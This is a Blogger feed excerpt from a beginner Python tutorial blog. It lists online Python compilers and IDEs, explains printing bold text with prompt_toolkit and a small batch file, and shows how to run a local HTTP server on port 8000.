&lt;/tr&gt;
&lt;tr&gt;&lt;td align=&quot;right&quot;&gt;81&lt;/td&gt;
&lt;td&gt;Solve Python | HackerRank&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://pysnakeblog.blogspot.com/p/checking-link.html?link=http://www.hackerrank.com/domains/python&quot;&gt;http://www.hackerrank.com/domains/python&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;hackerrank.com&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;&lt;td align=&quot;right&quot;&gt;82&lt;/td&gt;
&lt;td&gt;best online python compiler / editor for machine learning&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://pysnakeblog.blogspot.com/p/checking-link.html?link=http://pythonslearning.com/2021/05/best-online-python-compiler-editor-for-machine-learning.html&quot;&gt;http://pythonslearning.com/2021/05/best-online-python-compiler-editor-for-machine-learning.html&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;pythonslearning.com&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;&lt;td align=&quot;right&quot;&gt;83&lt;/td&gt;
&lt;td&gt;Online Python Editor - copyassignment.com&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://pysnakeblog.blogspot.com/p/checking-link.html?link=http://copyassignment.com/online-python-editor/&quot;&gt;http://copyassignment.com/online-python-editor/&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;copyassignment.com&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;&lt;td align=&quot;right&quot;&gt;84&lt;/td&gt;
&lt;td&gt;Project Jupyter | Try Jupyter&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://pysnakeblog.blogspot.com/p/checking-link.html?link=http://jupyter.org/try&quot;&gt;http://jupyter.org/try&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;jupyter.org&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;&lt;td align=&quot;right&quot;&gt;85&lt;/td&gt;
&lt;td&gt;Python Online IDE, Compiler, Interpreter &amp;amp; Code Editor&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://pysnakeblog.blogspot.com/p/checking-link.html?link=http://codeanywhere.com/languages/python&quot;&gt;http://codeanywhere.com/languages/python&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;codeanywhere.com&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;&lt;td align=&quot;right&quot;&gt;86&lt;/td&gt;
&lt;td&gt;Online Python Compiler and Editor at Codepad&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://pysnakeblog.blogspot.com/p/checking-link.html?link=http://www.remoteinterview.io/online-python-compiler&quot;&gt;http://www.remoteinterview.io/online-python-compiler&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;remoteinterview.io&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;&lt;td align=&quot;right&quot;&gt;87&lt;/td&gt;
&lt;td&gt;Write and run Python code for the following example - Chegg&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://pysnakeblog.blogspot.com/p/checking-link.html?link=http://chegg.com&quot;&gt;http://chegg.com&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;chegg.com&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;&lt;td align=&quot;right&quot;&gt;88&lt;/td&gt;
&lt;td&gt;Python Compiler - Online Programming Tutorials - Tutipy&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://pysnakeblog.blogspot.com/p/checking-link.html?link=http://tutipy.com/python-compiler/&quot;&gt;http://tutipy.com/python-compiler/&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;tutipy.com&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;&lt;td align=&quot;right&quot;&gt;89&lt;/td&gt;
&lt;td&gt;Python Online Compiler - Training Campus&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://pysnakeblog.blogspot.com/p/checking-link.html?link=http://www.trainingcampus.in/python-online-compiler.html&quot;&gt;http://www.trainingcampus.in/python-online-compiler.html&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;trainingcampus.in&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;&lt;td align=&quot;right&quot;&gt;90&lt;/td&gt;
&lt;td&gt;Home — Spyder IDE&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://pysnakeblog.blogspot.com/p/checking-link.html?link=http://www.spyder-ide.org/&quot;&gt;http://www.spyder-ide.org/&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;spyder-ide.org&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;&lt;td align=&quot;right&quot;&gt;91&lt;/td&gt;
&lt;td&gt;Online Python IDE - The Learning Setu&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://pysnakeblog.blogspot.com/p/checking-link.html?link=http://www.thelearningsetu.com/online-python-editor/&quot;&gt;http://www.thelearningsetu.com/online-python-editor/&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;thelearningsetu.com&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;&lt;td align=&quot;right&quot;&gt;92&lt;/td&gt;
&lt;td&gt;Python Courses &amp;amp; Tutorials | Codecademy&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://pysnakeblog.blogspot.com/p/checking-link.html?link=http://www.codecademy.com/catalog/language/python&quot;&gt;http://www.codecademy.com/catalog/language/python&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;codecademy.com&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;&lt;td align=&quot;right&quot;&gt;93&lt;/td&gt;
&lt;td&gt;Online Python Tutor - Visualize program execution - Computer ...&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://pysnakeblog.blogspot.com/p/checking-link.html?link=http://cscircles.cemc.uwaterloo.ca/visualize&quot;&gt;http://cscircles.cemc.uwaterloo.ca/visualize&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;cscircles.cemc.uwaterloo.ca&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;&lt;td align=&quot;right&quot;&gt;94&lt;/td&gt;
&lt;td&gt;Python for Kids: Best Resources to Learn Python Programming&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://pysnakeblog.blogspot.com/p/checking-link.html?link=http://www.codewizardshq.com/python-for-kids/&quot;&gt;http://www.codewizardshq.com/python-for-kids/&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;codewizardshq.com&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;&lt;td align=&quot;right&quot;&gt;95&lt;/td&gt;
&lt;td&gt;Python Online: The 10 Best Tools to Edit and Compile Python&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://pysnakeblog.blogspot.com/p/checking-link.html?link=http://noeticforce.com/python-online-compiler-interpreter-code-editors&quot;&gt;http://noeticforce.com/python-online-compiler-interpreter-code-editors&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;noeticforce.com&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;&lt;td align=&quot;right&quot;&gt;96&lt;/td&gt;
&lt;td&gt;Sublime Text - Text Editing, Done Right&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://pysnakeblog.blogspot.com/p/checking-link.html?link=http://www.sublimetext.com/&quot;&gt;http://www.sublimetext.com/&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;sublimetext.com&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;&lt;td align=&quot;right&quot;&gt;97&lt;/td&gt;
&lt;td&gt;Python compiler online - Code Helper&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://pysnakeblog.blogspot.com/p/checking-link.html?link=http://www.code-helper.com/answers/python-compiler-online&quot;&gt;http://www.code-helper.com/answers/python-compiler-online&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;code-helper.com&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;&lt;td align=&quot;right&quot;&gt;98&lt;/td&gt;
&lt;td&gt;Wing Python IDE - Designed for Python&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://pysnakeblog.blogspot.com/p/checking-link.html?link=http://wingware.com/&quot;&gt;http://wingware.com/&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;wingware.com&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;&lt;td align=&quot;right&quot;&gt;99&lt;/td&gt;
&lt;td&gt;QPython - Best Mobile Python Engine&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://pysnakeblog.blogspot.com/p/checking-link.html?link=http://www.qpython.org/&quot;&gt;http://www.qpython.org/&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;qpython.org&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
</content><link rel='replies' type='application/atom+xml' href='https://pysnakeblog.blogspot.com/feeds/8325087103117300175/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='https://pysnakeblog.blogspot.com/2021/12/list-of-python-compiler-online-python.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='https://www.blogger.com/feeds/8568547122643448686/posts/default/8325087103117300175'/><link rel='self' type='application/atom+xml' href='https://www.blogger.com/feeds/8568547122643448686/posts/default/8325087103117300175'/><link rel='alternate' type='text/html' href='https://pysnakeblog.blogspot.com/2021/12/list-of-python-compiler-online-python.html' title='List of Python Compiler Online | Python Online Compiler | Python Compiler'/><author><name>Joel Dcosta</name><uri>http://www.blogger.com/profile/12207789043143575856</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/a/AVvXsEi4PB30BwIV3d5ujm5N2z96JLAiMS6EoJGysAC88lKyXrNgcyUH5glf5XLJsxaMXmO39xUbuCvZf8MHxb7zl7Lc6B3ypxi9Ajj_4jycEUp80yQ3e51TUBuBdInQbPhOFd8q9pF1kap6f3gyyVR0abFEKXOn8fc53Q0Ud2i8RAH_5x8b8QwEemciOhse=s72-c" height="72" width="72"/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8568547122643448686.post-3514974338557015892</id><published>2021-12-25T01:43:00.009-08:00</published><updated>2021-12-25T02:19:38.817-08:00</updated><title type='text'>Python bold string | Python bold text | Bold python print</title><content type='html'>&lt;div class=&quot;separator&quot; style=&quot;clear: both;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/a/AVvXsEiMJBD_2PctBy8-5neDlErOGSjAv4yoFYIcvwhiKFbGzmYTWBVK0Vd-IjqE397Q3x3EyO5Y-lfyaRpQpo2fgTafEWmMJ3EGIWXg-aclnf5aIzND4LpzmcMh7bixCxg1Fm89DXs2VYoKRBdlqUMheBrMzeQlZ-KphpXeBuVG-ThV1sMVsiPVrWyexdAG=s747&quot; style=&quot;display: block; padding: 1em 0; text-align: center; &quot;&gt;&lt;img alt=&quot;python bold string, python bold text, bold python print, python bold, python bold text in email, python bold print, python bold text in string, python bold output, python bold text matplotlib, python bold titile, python string bold italic, python f string bold&quot; border=&quot;0&quot; height=&quot;320&quot; data-original-height=&quot;747&quot; data-original-width=&quot;732&quot; src=&quot;https://blogger.googleusercontent.com/img/a/AVvXsEiMJBD_2PctBy8-5neDlErOGSjAv4yoFYIcvwhiKFbGzmYTWBVK0Vd-IjqE397Q3x3EyO5Y-lfyaRpQpo2fgTafEWmMJ3EGIWXg-aclnf5aIzND4LpzmcMh7bixCxg1Fm89DXs2VYoKRBdlqUMheBrMzeQlZ-KphpXeBuVG-ThV1sMVsiPVrWyexdAG=s320&quot; title=&quot;python bold string, python bold text, bold python print, python bold, python bold text in email, python bold print, python bold text in string, python bold output, python bold text matplotlib, python bold titile, python string bold italic, python f string bold&quot; data-pin=&quot;pinIt&quot; id=&quot;pin_this&quot;/&gt;&lt;/a&gt;&lt;/div&gt;

&lt;p&gt;Hello everyone,&lt;br /&gt;
As the topic suggest we are going to create python output that would be 
simple output in an bold form itself inside python shell.&lt;br /&gt;
&lt;/p&gt;&lt;p&gt;Install &lt;b&gt;pip install prompt-toolkit &lt;/b&gt;first&lt;br /&gt;
Lets get on with the code:-&lt;/p&gt;
&lt;!--HTML generated using hilite.me--&gt;&lt;div style=&quot;background: rgb(39, 40, 34) none repeat scroll 0% 0%; border-color: gray; border-image: none 100% / 1 / 0 stretch; border-style: solid; border-width: 0.1em 0.1em 0.1em 0.8em; border: medium solid gray; overflow: auto; padding: 0.2em 0.6em; width: auto;&quot;&gt;&lt;pre style=&quot;line-height: 125%; margin: 0px;&quot;&gt;&lt;span style=&quot;color: #75715e;&quot;&gt;#pip install prompt-toolkit&lt;/span&gt;

&lt;span style=&quot;color: #f92672;&quot;&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span style=&quot;color: #f92672;&quot;&gt;from&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2;&quot;&gt;__future__&lt;/span&gt; &lt;span style=&quot;color: #f92672;&quot;&gt;import&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2;&quot;&gt;unicode_literals,&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2;&quot;&gt;print_function&lt;/span&gt;
&lt;span style=&quot;color: #f92672;&quot;&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span style=&quot;color: #f92672;&quot;&gt;from&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2;&quot;&gt;prompt_toolkit&lt;/span&gt; &lt;span style=&quot;color: #f92672;&quot;&gt;import&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2;&quot;&gt;print_formatted_text,&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2;&quot;&gt;HTML&lt;/span&gt;

&lt;span style=&quot;color: #f92672;&quot;&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2;&quot;&gt;string&lt;/span&gt; &lt;span style=&quot;color: #f92672;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #e6db74;&quot;&gt;&quot;Hello World Welcome to Python 4 Fun&quot;&lt;/span&gt;

&lt;span style=&quot;color: #f92672;&quot;&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2;&quot;&gt;print_formatted_text(HTML(f&lt;/span&gt;&lt;span style=&quot;color: #e6db74;&quot;&gt;&#39;&amp;lt;b&amp;gt;{string}&amp;lt;/b&amp;gt;&#39;&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;))&lt;/span&gt;
&lt;b&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;Hello&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2;&quot;&gt;World&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2;&quot;&gt;Welcome&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2;&quot;&gt;to&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2;&quot;&gt;Python&lt;/span&gt; &lt;span style=&quot;color: #ae81ff;&quot;&gt;4&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2;&quot;&gt;Fun&lt;/span&gt;&lt;/b&gt;
&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;I have tried all types method to make the output Bold.&lt;/p&gt;&lt;p&gt;But this method only works only on &lt;i&gt;Windows in Python Shell&lt;/i&gt;.&lt;/p&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/a/AVvXsEiswukkXQVyq8pe6i2KJagyRTO6CbZp-49xYN0jCXw4SGPYjrE-1aVhSuvlwc9ql_AronIKITs9Saqwq7At0FHnV0LXwf0V8FAb411SHgL8GLMwTYQLOOrX3UlVfL07Dh-MAm7kOmo2qnELk-TBHHkMpinxpRI1ZJCcaBXfoC5cKruWpwS70veS9Joa=s984&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img alt=&quot;Python bold string&quot; border=&quot;0&quot; data-original-height=&quot;518&quot; data-original-width=&quot;984&quot; height=&quot;211&quot; src=&quot;https://blogger.googleusercontent.com/img/a/AVvXsEiswukkXQVyq8pe6i2KJagyRTO6CbZp-49xYN0jCXw4SGPYjrE-1aVhSuvlwc9ql_AronIKITs9Saqwq7At0FHnV0LXwf0V8FAb411SHgL8GLMwTYQLOOrX3UlVfL07Dh-MAm7kOmo2qnELk-TBHHkMpinxpRI1ZJCcaBXfoC5cKruWpwS70veS9Joa=w400-h211&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;But in Python IDLE the same code will throw an error&lt;/p&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/a/AVvXsEiF6OGfxpfRMO_dZC1gA8zyGj207tNMceg5FjMRgfpnanpb0z-5HTSncQPxLlQd4NNwBXNuDh7Jakqhh_mmpAaCkYpoImxP7WN_6zSsQGQr-7BH9s09t6FTnPnvXRRe0bnTElbAzpbIeaCraevrV8xoOQ89iq21iA6yA2AshfUwna-b61uqFS06oTPr=s1920&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img alt=&quot;Python bold string&quot; border=&quot;0&quot; data-original-height=&quot;1080&quot; data-original-width=&quot;1920&quot; height=&quot;225&quot; src=&quot;https://blogger.googleusercontent.com/img/a/AVvXsEiF6OGfxpfRMO_dZC1gA8zyGj207tNMceg5FjMRgfpnanpb0z-5HTSncQPxLlQd4NNwBXNuDh7Jakqhh_mmpAaCkYpoImxP7WN_6zSsQGQr-7BH9s09t6FTnPnvXRRe0bnTElbAzpbIeaCraevrV8xoOQ89iq21iA6yA2AshfUwna-b61uqFS06oTPr=w400-h225&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;p&gt;So how to run this?&lt;/p&gt;&lt;p&gt;Simple, Create &lt;b&gt;PY&lt;/b&gt; file as &lt;b&gt;bold.py&lt;/b&gt; and from &lt;b&gt;CMD&lt;/b&gt; run it as &lt;b&gt;python &quot;bold.py&quot;&lt;/b&gt;.&lt;/p&gt;&lt;p&gt;Run &amp;gt; CMD &amp;gt; python &quot;bold.py&quot;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;You can also run as batch file.&lt;/p&gt;&lt;p&gt;i.e. open Notepad &amp;gt; python &quot;bold.py&quot; (Type &amp;amp; save it as Runpy.bat)&lt;/p&gt;&lt;p&gt;Double click on the Runpy.bat file and it will work but for a split second.&lt;/p&gt;&lt;p&gt;To stop it from disappearing add &lt;b&gt;pause&lt;/b&gt;&amp;nbsp;&lt;/p&gt;&lt;p&gt;This is how a batch file should look like&lt;br /&gt;&lt;/p&gt;&lt;p&gt;== Runpy.bat =================&lt;/p&gt;&lt;p&gt;@echo off&lt;/p&gt;&lt;p&gt;python &quot;bold.py&quot;&lt;/p&gt;&lt;p&gt;pause&lt;/p&gt;&lt;p&gt;===========================&lt;/p&gt;&lt;p&gt;Hope you like the tutorial.&lt;br /&gt;
&lt;i&gt;&lt;b&gt; &lt;/b&gt;&lt;/i&gt;&lt;br /&gt;
&lt;b&gt;Python is simple and fun to play with and yet very powerful. &lt;/b&gt;🔥 &lt;br /&gt;&lt;/p&gt;</content><link rel='replies' type='application/atom+xml' href='https://pysnakeblog.blogspot.com/feeds/3514974338557015892/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='https://pysnakeblog.blogspot.com/2021/12/python-bold-string-python-bold-text.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='https://www.blogger.com/feeds/8568547122643448686/posts/default/3514974338557015892'/><link rel='self' type='application/atom+xml' href='https://www.blogger.com/feeds/8568547122643448686/posts/default/3514974338557015892'/><link rel='alternate' type='text/html' href='https://pysnakeblog.blogspot.com/2021/12/python-bold-string-python-bold-text.html' title='Python bold string | Python bold text | Bold python print'/><author><name>Joel Dcosta</name><uri>http://www.blogger.com/profile/12207789043143575856</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/a/AVvXsEiMJBD_2PctBy8-5neDlErOGSjAv4yoFYIcvwhiKFbGzmYTWBVK0Vd-IjqE397Q3x3EyO5Y-lfyaRpQpo2fgTafEWmMJ3EGIWXg-aclnf5aIzND4LpzmcMh7bixCxg1Fm89DXs2VYoKRBdlqUMheBrMzeQlZ-KphpXeBuVG-ThV1sMVsiPVrWyexdAG=s72-c" height="72" width="72"/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8568547122643448686.post-7637232049694521128</id><published>2021-12-15T07:36:00.009-08:00</published><updated>2022-01-07T04:55:12.182-08:00</updated><title type='text'>How to Create Python Server (Simple Steps) | Run Web Story using Python Server | Create local HTTP Python server</title><content type='html'>&lt;b&gt;Q. What is Python Server?&lt;/b&gt;&lt;p&gt;&lt;b&gt;Ans.&lt;/b&gt; Python is a programming language which creates a Server using python script making your computer as webhost to host HTML files just like other webhosts or ftp clients.&lt;/p&gt;&lt;p&gt;Python will access your given folder as a web directory to access and run HTML, JavaScript &amp;amp; CSS files.&lt;/p&gt;&lt;p&gt;&lt;b&gt;Q. So, How does it work? &lt;/b&gt;&lt;/p&gt;&lt;p&gt;Ans. Steps for follow:-&lt;/p&gt;&lt;p&gt;1. Create a folder name it &lt;b&gt;PUBLIC&lt;/b&gt;. (You can name whatever you like)&lt;br /&gt;2. Create a file and name it as &lt;b&gt;SERVER.py&lt;/b&gt; &lt;br /&gt;3. Copy the Code given below in the &lt;b&gt;SERVER.py&lt;/b&gt; and save it inside &lt;b&gt;PUBLIC&lt;/b&gt; folder.&lt;br /&gt;4. Create a html file name it index.html&lt;br /&gt;5. Edit index.html and copy paste this html code &amp;lt;html&amp;gt;hello world&amp;lt;/html&amp;gt;&lt;br /&gt;6. Save it &amp;amp; Run the Python Script and minimize it.&lt;br /&gt;7. Open your browser Chrome | Mozilla and type this url 127.0.0.1:8000&lt;br /&gt;9. You will see your index.html is working correctly.&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Points:-&lt;/b&gt;&lt;br /&gt;- 8000 is your port number as mentioned in the python script&lt;br /&gt;- Add your own html code and see how it works.&lt;br /&gt;- It will only Run - HTML, JAVASCRIPT, CSS &lt;br /&gt;- It will not run - PHP&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Very handy while making Web Stories&amp;nbsp;&amp;nbsp; &lt;/b&gt;&lt;br /&gt;&lt;/p&gt;

&lt;!--HTML generated using hilite.me--&gt;&lt;div style=&quot;background: rgb(39, 40, 34) none repeat scroll 0% 0%; border-color: gray; border-image: none 100% / 1 / 0 stretch; border-style: solid; border-width: 0.1em 0.1em 0.1em 0.8em; border: medium solid gray; overflow: auto; padding: 0.2em 0.6em; width: auto;&quot;&gt;&lt;pre style=&quot;line-height: 125%; margin: 0px;&quot;&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;import&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2;&quot;&gt;webbrowser&lt;/span&gt;

&lt;span style=&quot;color: #75715e;&quot;&gt;# Checking Python Version Compatibility &lt;/span&gt;
&lt;span style=&quot;color: #66d9ef;&quot;&gt;try&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;:&lt;/span&gt;
     &lt;span style=&quot;color: #75715e;&quot;&gt;# If Python 2.7+v installed Run this&lt;/span&gt;
     &lt;span style=&quot;color: #f92672;&quot;&gt;import&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2;&quot;&gt;SimpleHTTPServer&lt;/span&gt; &lt;span style=&quot;color: #f92672;&quot;&gt;as&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2;&quot;&gt;svr&lt;/span&gt;
     &lt;span style=&quot;color: #f92672;&quot;&gt;import&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2;&quot;&gt;SocketServer&lt;/span&gt; &lt;span style=&quot;color: #f92672;&quot;&gt;as&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2;&quot;&gt;soc&lt;/span&gt;
&lt;span style=&quot;color: #66d9ef;&quot;&gt;except&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;:&lt;/span&gt;
     &lt;span style=&quot;color: #75715e;&quot;&gt;# If Python 3.0+v installed Run this&lt;/span&gt;
     &lt;span style=&quot;color: #f92672;&quot;&gt;import&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2;&quot;&gt;http.server&lt;/span&gt; &lt;span style=&quot;color: #f92672;&quot;&gt;as&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2;&quot;&gt;svr&lt;/span&gt;
     &lt;span style=&quot;color: #f92672;&quot;&gt;import&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2;&quot;&gt;socketserver&lt;/span&gt; &lt;span style=&quot;color: #f92672;&quot;&gt;as&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2;&quot;&gt;soc&lt;/span&gt;

&lt;span style=&quot;color: #f8f8f2;&quot;&gt;PORT&lt;/span&gt; &lt;span style=&quot;color: #f92672;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #ae81ff;&quot;&gt;8000&lt;/span&gt;

&lt;span style=&quot;color: #f8f8f2;&quot;&gt;Handler&lt;/span&gt; &lt;span style=&quot;color: #f92672;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2;&quot;&gt;svr&lt;/span&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;SimpleHTTPRequestHandler&lt;/span&gt;

&lt;span style=&quot;color: #f8f8f2;&quot;&gt;http_public&lt;/span&gt; &lt;span style=&quot;color: #f92672;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2;&quot;&gt;soc&lt;/span&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;TCPServer((&lt;/span&gt;&lt;span style=&quot;color: #e6db74;&quot;&gt;&quot;&quot;&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2;&quot;&gt;PORT),&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2;&quot;&gt;Handler)&lt;/span&gt;

&lt;span style=&quot;color: #66d9ef;&quot;&gt;print&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6db74;&quot;&gt;&quot;serving at port &lt;/span&gt;&lt;span style=&quot;color: #ae81ff;&quot;&gt;\t&lt;/span&gt;&lt;span style=&quot;color: #e6db74;&quot;&gt; &amp;gt; &lt;/span&gt;&lt;span style=&quot;color: #ae81ff;&quot;&gt;\t&lt;/span&gt;&lt;span style=&quot;color: #e6db74;&quot;&gt;&quot;&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2;&quot;&gt;PORT)&lt;/span&gt;
&lt;span style=&quot;color: #66d9ef;&quot;&gt;print&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6db74;&quot;&gt;&quot;Open Browser and Run &lt;/span&gt;&lt;span style=&quot;color: #ae81ff;&quot;&gt;\t&lt;/span&gt;&lt;span style=&quot;color: #e6db74;&quot;&gt; &amp;gt; &lt;/span&gt;&lt;span style=&quot;color: #ae81ff;&quot;&gt;\t&lt;/span&gt;&lt;span style=&quot;color: #e6db74;&quot;&gt; 127.0.0.1:8000&quot;&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;)&lt;/span&gt;
&lt;span style=&quot;color: #75715e;&quot;&gt;# this will open your index.html page.&lt;/span&gt;
&lt;span style=&quot;color: #75715e;&quot;&gt;# Refresh browser if showing [try again]&lt;/span&gt;
&lt;span style=&quot;color: #f8f8f2;&quot;&gt;webbrowser&lt;/span&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;open(&lt;/span&gt;&lt;span style=&quot;color: #e6db74;&quot;&gt;&#39;http://127.0.0.1:8000&#39;&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;)&lt;/span&gt; 
&lt;span style=&quot;color: #f8f8f2;&quot;&gt;http_public&lt;/span&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;serve_forever()&lt;/span&gt;


&lt;span style=&quot;color: #75715e;&quot;&gt;#-------------------------&lt;/span&gt;

&lt;span style=&quot;color: #75715e;&quot;&gt;# To Run in command line:&lt;/span&gt;
&lt;span style=&quot;color: #75715e;&quot;&gt;# for Python 2.7&lt;/span&gt;
&lt;span style=&quot;color: #75715e;&quot;&gt;# python -m SimpleHTTPServer 8000&lt;/span&gt;

&lt;span style=&quot;color: #75715e;&quot;&gt;# for Python 3.7&lt;/span&gt;
&lt;span style=&quot;color: #75715e;&quot;&gt;# python -m http.server 8000&lt;/span&gt;

&lt;span style=&quot;color: #75715e;&quot;&gt;#-------------------------&lt;/span&gt;

